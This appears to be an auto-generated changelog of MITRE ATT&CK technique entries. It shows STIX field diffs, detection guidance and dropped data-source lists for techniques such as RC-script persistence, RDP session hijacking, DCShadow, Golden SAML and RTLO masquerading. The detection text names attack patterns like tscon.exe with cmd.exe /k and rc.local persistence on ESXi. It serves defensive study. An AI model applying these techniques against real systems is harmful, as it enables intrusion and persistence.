| x_mitre_detection | Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. + +Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Windows Registry: Windows Registry Key Access', 'Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:58:50.612000+00:00 | 2025-10-24 17:49:20.660000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Interaction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
Current version: 2.2
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence by modifying RC script | t | 1 | Adversaries may establish persistence by modifying RC script |
| > | s, which are executed during a Unix-like system’s startup. T | > | s, which are executed during a Unix-like system’s startup. T | ||
| > | hese files allow system administrators to map and start cust | > | hese files allow system administrators to map and start cust | ||
| > | om services at startup for different run levels. RC scripts | > | om services at startup for different run levels. RC scripts | ||
| > | require root privileges to modify. Adversaries may establis | > | require root privileges to modify. Adversaries may establis | ||
| > | h persistence by adding a malicious binary path or shell com | > | h persistence by adding a malicious binary path or shell com | ||
| > | mands to <code>rc.local</code>, <code>rc.common</code>, and | > | mands to <code>rc.local</code>, <code>rc.common</code>, and | ||
| > | other RC scripts specific to the Unix-like distribution.(Cit | > | other RC scripts specific to the Unix-like distribution.(Cit | ||
| > | ation: IranThreats Kittens Dec 2017)(Citation: Intezer Hidde | > | ation: IranThreats Kittens Dec 2017)(Citation: Intezer Hidde | ||
| > | nWasp Map 2019) Upon reboot, the system executes the script' | > | nWasp Map 2019) Upon reboot, the system executes the script' | ||
| > | s contents as root, resulting in persistence. Adversary abu | > | s contents as root, resulting in persistence. Adversary abu | ||
| > | se of RC scripts is especially effective for lightweight Uni | > | se of RC scripts is especially effective for lightweight Uni | ||
| > | x-like distributions using the root user as default, such as | > | x-like distributions using the root user as default, such as | ||
| > | ESXi hypervisors, IoT, or embedded systems.(Citation: intez | > | ESXi hypervisors, IoT, or embedded systems.(Citation: intez | ||
| > | er-kaiji-malware) As ESXi servers store most system files in | > | er-kaiji-malware) As ESXi servers store most system files in | ||
| > | memory and therefore discard changes on shutdown, leveragin | > | memory and therefore discard changes on shutdown, leveragin | ||
| > | g `/etc/rc.local.d/local.sh` is one of the few mechanisms fo | > | g `/etc/rc.local.d/local.sh` is one of the few mechanisms fo | ||
| > | r enabling persistence across reboots.(Citation: Juniper Net | > | r enabling persistence across reboots.(Citation: Juniper Net | ||
| > | works ESXi Backdoor 2022) Several Unix-like systems have mo | > | works ESXi Backdoor 2022) Several Unix-like systems have mo | ||
| > | ved to Systemd and deprecated the use of RC scripts. This is | > | ved to Systemd and deprecated the use of RC scripts. This is | ||
| > | now a deprecated mechanism in macOS in favor of [Launchd](h | > | now a deprecated mechanism in macOS in favor of Launchd.(Ci | ||
| > | ttps://attack.mitre.org/techniques/T1053/004).(Citation: App | > | tation: Apple Developer Doco Archive Launchd)(Citation: Star | ||
| > | le Developer Doco Archive Launchd)(Citation: Startup Items) | > | tup Items) This technique can be used on Mac OS X Panther v1 | ||
| > | This technique can be used on Mac OS X Panther v10.3 and ear | > | 0.3 and earlier versions which still execute the RC scripts. | ||
| > | lier versions which still execute the RC scripts.(Citation: | > | (Citation: Methods of Mac Malware Persistence) To maintain b | ||
| > | Methods of Mac Malware Persistence) To maintain backwards co | > | ackwards compatibility some systems, such as Ubuntu, will ex | ||
| > | mpatibility some systems, such as Ubuntu, will execute the R | > | ecute the RC scripts if they exist with the correct file per | ||
| > | C scripts if they exist with the correct file permissions.(C | > | missions.(Citation: Ubuntu Manpage systemd rc) | ||
| > | itation: Ubuntu Manpage systemd rc) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Process: Process Creation', 'File: File Modification', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:13.566000+00:00 | 2025-10-24 17:49:28.955000+00:00 |
| description | Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.
+
+Adversaries may establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.
+
+Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022)
+
+Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004).(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc) | Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.
+
+Adversaries may establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.
+
+Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022)
+
+Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd.(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Monitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.
+
+Monitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Logon Session: Logon Session Creation', 'Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:59:04.979000+00:00 | 2025-10-24 17:49:30.049000+00:00 |
| x_mitre_detection | Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking. + +Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Firmware: Firmware Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:47:36.549000+00:00 | 2025-10-24 17:49:11.524000+00:00 |
| x_mitre_detection | There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:22.343000+00:00 | 2025-10-24 17:49:32.375000+00:00 |
| x_mitre_detection | Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:46:24.048000+00:00 | 2025-10-24 17:48:40.223000+00:00 |
| x_mitre_detection | There is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Sensor Health: Host Status', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:59:22.782000+00:00 | 2025-10-24 17:48:38.890000+00:00 |
| x_mitre_detection | Detection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Module: Module Load', 'Script: Script Execution', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:27.959000+00:00 | 2025-10-24 17:48:44.030000+00:00 |
| x_mitre_detection | Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as Assembly.Load() and [Native API](https://attack.mitre.org/techniques/T1106) functions such as CreateThread(), memfd_create(), execve(), and/or execveat().(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks)
+
+Monitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)
+
+Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'File: File Modification', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:54.099000+00:00 | 2025-10-24 17:49:09.744000+00:00 |
| x_mitre_detection | Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. + +Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:47:58.456000+00:00 | 2025-10-24 17:49:21.181000+00:00 |
| x_mitre_detection | Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed. |
Current version: 2.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Module: Module Load', 'Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:19.846000+00:00 | 2025-10-24 17:49:17.377000+00:00 |
| x_mitre_detection | Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016) |
Current version: 3.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Drive: Drive Creation', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:25.651000+00:00 | 2025-10-24 17:48:42.154000+00:00 |
| x_mitre_detection | Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators. + +Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. + +[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Command: Command Execution', 'File: File Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:21.613000+00:00 | 2025-10-24 17:48:38.453000+00:00 |
| x_mitre_detection | Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. + +Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:59:50.429000+00:00 | 2025-10-24 17:49:15.355000+00:00 |
| x_mitre_detection | Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account). |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Command: Command Execution', 'Process: Process Creation', 'Logon Session: Logon Session Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:00:02.178000+00:00 | 2025-10-24 17:48:50.118000+00:00 |
| x_mitre_detection | Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. + +Monitor for processes and command-line arguments associated with hijacking service sessions. |
Current version: 1.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Module: Module Load', 'Network Traffic: Network Connection Creation', 'Command: Command Execution', 'Network Share: Network Share Access', 'WMI: WMI Creation', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:32.234000+00:00 | 2025-10-24 17:48:48.472000+00:00 |
| x_mitre_detection | Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. + +Use of applications such as ARD may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. + +In macOS, you can review logs for "screensharingd" and "Authentication" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) |
Current version: 3.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:15.859000+00:00 | 2025-10-24 17:49:31.319000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
+
+Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+
+Monitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) |
Current version: 2.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'Process: Process Metadata', 'Command: Command Execution', 'File: File Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:02.921000+00:00 | 2025-10-24 17:49:18.517000+00:00 |
| x_mitre_detection | If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Access', 'Process: Process Creation', 'Drive: Drive Creation', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:24.231000+00:00 | 2025-10-24 17:48:40.752000+00:00 |
| x_mitre_detection | Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Metadata', 'Process: Process Creation', 'Command: Command Execution', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:19.185000+00:00 | 2025-10-24 17:49:14.736000+00:00 |
| x_mitre_detection | Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks.
+
+Monitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. |
Current version: 2.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Cloud Service: Cloud Service Modification', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Sensor Health: Host Status', 'Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:00:21.372000+00:00 | 2025-10-24 17:49:24.276000+00:00 |
| x_mitre_detection | Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Active Directory: Active Directory Object Modification', 'Command: Command Execution', 'User Account: User Account Metadata', 'Script: Script Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:00:34.242000+00:00 | 2025-10-24 17:49:27.587000+00:00 |
| x_mitre_detection | Monitor property changes in Group Policy: Computer Configuration\Windows Settings\Security Settings\Account Policies\Password Policy\Store passwords using reversible encryption. By default, the property should be set to Disabled.
+
+Monitor command-line usage for -AllowReversiblePasswordEncryption $true or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as Set-ADUser and Set-ADAccountControl, that change account configurations.
+
+Monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Instance: Instance Start', 'Instance: Instance Metadata', 'Instance: Instance Stop', 'Instance: Instance Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:45:42.495000+00:00 | 2025-10-24 17:48:21.210000+00:00 |
| x_mitre_detection | Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:00:50.575000+00:00 | 2025-10-24 17:48:58.683000+00:00 |
| x_mitre_detection | Detection methods should include looking for common formats of RTLO characters within filenames such as \u202E, [U+202E], and %E2%80%AE. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it. |
Current version: 2.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Active Directory: Active Directory Object Modification', 'Network Traffic: Network Traffic Content', 'User Account: User Account Authentication', 'Active Directory: Active Directory Object Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 15:15:34.258000+00:00 | 2025-10-24 17:48:48.823000+00:00 |
| x_mitre_detection | Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog) + +Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018) + +Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog) + +Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'File: File Deletion', 'Process: OS API Execution', 'File: File Metadata', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:01:11.644000+00:00 | 2025-10-24 17:48:37.277000+00:00 |
| x_mitre_detection | Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Web Credential: Web Credential Usage', 'Web Credential: Web Credential Creation', 'Logon Session: Logon Session Creation', 'User Account: User Account Authentication', 'Logon Session: Logon Session Metadata', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:01:25.698000+00:00 | 2025-10-24 17:48:30.302000+00:00 |
| x_mitre_detection | This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML) + +Consider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Active Directory: Active Directory Object Modification', 'Process: OS API Execution', 'User Account: User Account Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:47:45.982000+00:00 | 2025-10-24 17:49:16.316000+00:00 |
| x_mitre_detection | Examine data in user’s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)
+
+Monitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
